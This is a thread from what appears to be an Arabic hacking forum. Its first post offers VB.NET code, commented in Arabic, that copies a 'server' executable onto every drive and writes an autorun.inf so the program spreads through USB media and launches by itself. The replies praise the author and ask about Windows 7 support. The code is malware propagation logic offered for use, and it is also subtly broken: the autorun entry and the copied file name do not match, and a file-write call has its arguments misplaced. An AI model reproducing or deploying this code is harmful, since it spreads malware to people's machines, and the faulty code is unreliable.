ملتقى الهكر العربي

ملتقى الهكر العربي

ملتقى الهكر العربي
 
الرئيسيةالتسجيلدخوللوحة الادارهلوحة الاداره
مرحبا
ياليا

#add-google-bottom{display:NONE}


شاطر | 
 

 انتشار في ال usb وتشغيل تلقائي [vb.net]

اذهب الى الأسفل 
كاتب الموضوعرسالة
عماد.
زائر



مُساهمةموضوع: انتشار في ال usb وتشغيل تلقائي [vb.net]   2012-04-12, 04:38

الكود:
[b][font=Arial][size=12][color=DimGray][font=Tahoma][size=12]Sub usb()
        'Coded By CaRlos / old Name Toto
        'Www.dev-point.com/vb
      ' My Email : [color=Red]########[/color]
        ' اي خطا يجي تجاوزه واستمر في الكود
        On Error Resume Next
        ' يجلب جميع اسمء الاقراص
        For Each x In IO.DriveInfo.GetDrives
            ' يفصل بين كل اسم قرص بفاصلة ,
            Dim xx As String = x.ToString & ","
            ' يقوم ب فصل جميع الاقراص 
            Dim s As String() = Split(xx, ",")
            ' اسم السيرفر
            Dim n As String = "Ser.Exe"
            ' محتوى ال اوتورن
            Dim run As String = ""
            run += "[AutoRun]" & vbNewLine
            run += "open=AutoRun.exe" & vbNewLine
            run += "icon=nameicon.ico"
            ' تدخيل اسماء الاقراص الى حلقة فور
            For i = 0 To s.Length - 1
                ' ينسخ البرنامج  الى  جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر 
                IO.File.Copy(Application.ExecutablePath, s(i) & n, True)
                ' يقوم بانشاء الاتورون بصيغة inf
                IO.File.WriteAllText(s(i), run & "autorun.inf")
            Next
        Next
    End Sub[/size][/font][/color][/size][/font][/b]
الرجوع الى أعلى الصفحة اذهب الى الأسفل
بستان
زائر



مُساهمةموضوع: رد: انتشار في ال usb وتشغيل تلقائي [vb.net]   2012-04-12, 04:42

تسلم يا وحش واصل ابداعك

وان شاء الله من جديد لجديد فى انتظار ابداعك
الرجوع الى أعلى الصفحة اذهب الى الأسفل
gaad
زائر



مُساهمةموضوع: رد: انتشار في ال usb وتشغيل تلقائي [vb.net]   2012-04-12, 04:43

هل ينجح تشغيل الأوتوران مع نظام السافن؟
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
انتشار في ال usb وتشغيل تلقائي [vb.net]
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
ملتقى الهكر العربي :: ملتقى الهكر العربي-
انتقل الى: